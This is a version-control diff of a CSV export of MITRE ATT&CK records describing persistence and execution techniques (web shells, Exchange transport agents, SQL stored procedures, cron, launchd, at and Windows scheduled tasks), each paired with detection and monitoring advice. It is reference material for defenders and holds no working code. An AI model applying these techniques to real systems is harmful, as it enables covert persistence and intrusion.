directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells) + +Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",True,"['SYSTEM', 'User']","['Linux', 'Windows', 'macOS']",1.2,,['Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.'],,,,, +attack-pattern,attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-12T15:08:20.972Z,2021-10-18T17:05:44.321Z,Transport Agent,"Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. -Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1505/002', external_id='T1505.002'), ExternalReference(source_name='Microsoft TransportAgent Jun 2016', description='Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019.', url='https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help'), ExternalReference(source_name='ESET LightNeuron May 2019', description='Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.', url='https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf')]",attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-25 22:59:59.124000+00:00,Transport Agent,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['ESET', ' Christoffer Strömblad']","['File: File Creation', 'Application Log: Application Log Content']",,,,,Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.,,,,,True,,,"['SYSTEM', 'Administrator', 'root']","['Linux', 'Windows']",,,,1.0 -2019-12-12 14:59:58.168000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted). +Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1505/002', 'external_id': 'T1505.002'}, {'source_name': 'Microsoft TransportAgent Jun 2016', 'description': 'Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019.', 'url': 'https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help'}, {'source_name': 'ESET LightNeuron May 2019', 'description': 'Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['ESET', 'Christoffer Strömblad']","['File: File Creation', 'Application Log: Application Log Content']",,Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.,True,"['SYSTEM', 'Administrator', 'root']","['Linux', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-12T14:59:58.168Z,2020-03-25T23:30:20.638Z,SQL Stored Procedures,"Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted). Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) -Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1505/001', external_id='T1505.001'), ExternalReference(source_name='NetSPI Startup Stored Procedures', description='Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures. Retrieved July 8, 2019.', url='https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/'), ExternalReference(source_name='Kaspersky MSSQL Aug 2019', description='Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019.', url='https://securelist.com/malicious-tasks-in-ms-sql-server/92167/'), ExternalReference(source_name='Microsoft xp_cmdshell 2017', description='Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019.', url='https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017'), ExternalReference(source_name='Microsoft CLR Integration 2017', description='Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019.', url='https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017'), ExternalReference(source_name='NetSPI SQL Server CLR', description='Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved July 8, 2019.', url='https://blog.netspi.com/attacking-sql-server-clr-assemblies/')]",attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-25 23:30:20.638000+00:00,SQL Stored Procedures,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Carlos Borges, @huntingneo, CIP', 'Lucas da Silva Pereira, @vulcanunsec, CIP', 'Kaspersky']",['Application Log: Application Log Content'],,,,,"On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.",,,,,True,,,"['Administrator', 'SYSTEM', 'root']","['Windows', 'Linux']",,,,1.0 -2019-12-03 14:25:00.538000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code. The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths. +Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1505/001', 'external_id': 'T1505.001'}, {'source_name': 'NetSPI Startup Stored Procedures', 'description': 'Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures. Retrieved July 8, 2019.', 'url': 'https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/'}, {'source_name': 'Kaspersky MSSQL Aug 2019', 'description': 'Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019.', 'url': 'https://securelist.com/malicious-tasks-in-ms-sql-server/92167/'}, {'source_name': 'Microsoft xp_cmdshell 2017', 'description': 'Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019.', 'url': 'https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017'}, {'source_name': 'Microsoft CLR Integration 2017', 'description': 'Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019.', 'url': 'https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017'}, {'source_name': 'NetSPI SQL Server CLR', 'description': 'Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved July 8, 2019.', 'url': 'https://blog.netspi.com/attacking-sql-server-clr-assemblies/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Carlos Borges, @huntingneo, CIP', 'Lucas da Silva Pereira, @vulcanunsec, CIP', 'Kaspersky']",['Application Log: Application Log Content'],,"On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.",True,"['Administrator', 'SYSTEM', 'root']","['Windows', 'Linux']",1.0,,,,,,, +attack-pattern,attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-03T14:25:00.538Z,2021-08-23T15:29:36.918Z,Cron,"Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths. -An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. cron can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1053/003', external_id='T1053.003')]",attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-03-23 23:30:46.546000+00:00,Cron,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,,,,"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. +An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1053/003', 'external_id': 'T1053.003'}, {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. -Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ",,,,,True,,,['User'],"['Linux', 'macOS']",False,,,1.0 -2019-12-03 14:15:27.452000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence). +Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ",True,['User'],"['Linux', 'macOS']",1.1,False,,,,,, +attack-pattern,attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-03T12:59:36.749Z,2021-10-15T14:36:26.063Z,At (Linux),"Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux) -An adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1053/004', external_id='T1053.004'), ExternalReference(source_name='AppleDocs Launch Agent Daemons', description='Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.', url='https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'), ExternalReference(source_name='Methods of Mac Malware Persistence', description='Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', url='https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf')]",attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-03-23 22:41:14.739000+00:00,Launchd,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,,,,"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. +An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account. -Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",,,,,True,,,['root'],['macOS'],False,,,1.0 -2019-12-03 12:59:36.749000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux) +Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1053/001', 'external_id': 'T1053.001'}, {'source_name': 'Kifarunix - Task Scheduling in Linux', 'description': 'Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019.', 'url': 'https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/'}, {'source_name': 'GTFObins at', 'description': 'Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.', 'url': 'https://gtfobins.github.io/gtfobins/at/'}, {'source_name': 'rowland linux at 2019', 'description': 'Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.', 'url': 'https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'Process: Process Creation']",,"Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. -An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1053/001', external_id='T1053.001'), ExternalReference(source_name='Kifarunix - Task Scheduling in Linux', description='Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019.', url='https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/')]",attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-03-23 22:35:13.112000+00:00,At (Linux),['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'Process: Process Creation']",,,,,"Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. +Review all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019) -Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",,,,,True,,,,['Linux'],True,,,1.0 -2019-11-27 14:58:00.429000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task. +Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",True,,['Linux'],1.1,True,,,,,, +attack-pattern,attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-27T14:58:00.429Z,2020-12-30T14:26:44.730Z,Scheduled Task,"Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task. The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel. -An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1053/005', external_id='T1053.005'), ExternalReference(source_name='Twitter Leoloobeek Scheduled Task', description='Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.', url='https://twitter.com/leoloobeek/status/939248813465853953'), ExternalReference(source_name='TechNet Forum Scheduled Task Operational Setting', description='Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.', url='https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen'), ExternalReference(source_name='TechNet Scheduled Task Events', description='Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.', url='https://technet.microsoft.com/library/dd315590.aspx'), ExternalReference(source_name='Microsoft Scheduled Task Events Win10', description='Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.', url='https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events'), ExternalReference(source_name='TechNet Autoruns', description='Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', url='https://technet.microsoft.com/en-us/sysinternals/bb963902')]",attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-12-30 14:26:44.730000+00:00,Scheduled Task,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,,,,"Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. +An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1053/005', 'external_id': 'T1053.005'}, {'source_name': 'Twitter Leoloobeek Scheduled Task', 'description': 'Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.', 'url': 'https://twitter.com/leoloobeek/status/939248813465853953'}, {'source_name': 'TechNet Forum Scheduled Task Operational Setting', 'description': 'Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.', 'url': 'https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen'}, {'source_name': 'TechNet Scheduled Task Events', 'description': 'Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.', 'url': 'https://technet.microsoft.com/library/dd315590.aspx'}, {'source_name': 'Microsoft Scheduled Task Events Win10', 'description': 'Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,"Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Configure event logging for scheduled task creation and changes by enabling the ""Microsoft-Windows-TaskScheduler/Operational"" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) @@ -2540,12 +2770,12 @@ Configure event logging for scheduled task creation and changes by enabling the Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) -Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.",,,,,True,,,['Administrator'],['Windows'],True,,,1.0 -2019-11-27 13:52:45.853000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse the at.exe utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows for scheduling tasks at a specified time and date. Using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. +Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.",True,['Administrator'],['Windows'],1.0,True,,,,,, +attack-pattern,attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-11-27T13:52:45.853Z,2020-03-24T13:43:40.776Z,At (Windows),"Adversaries may abuse the at.exe utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows for scheduling tasks at a specified time and date. Using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. An adversary may use at.exe in Windows environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM). -Note: The at.exe command line utility has been deprecated in current versions of Windows in favor of schtasks.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1053/002', external_id='T1053.002'), ExternalReference(source_name='Twitter Leoloobeek Scheduled Task', description='Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.', url='https://twitter.com/leoloobeek/status/939248813465853953'), ExternalReference(source_name='TechNet Forum Scheduled Task Operational Setting', description='Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.', url='https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen'), ExternalReference(source_name='TechNet Scheduled Task Events', description='Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.', url='https://technet.microsoft.com/library/dd315590.aspx'), ExternalReference(source_name='Microsoft Scheduled Task Events Win10', description='Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.', url='https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events'), ExternalReference(source_name='TechNet Autoruns', description='Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', url='https://technet.microsoft.com/en-us/sysinternals/bb963902')]",attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-03-24 13:43:40.776000+00:00,At 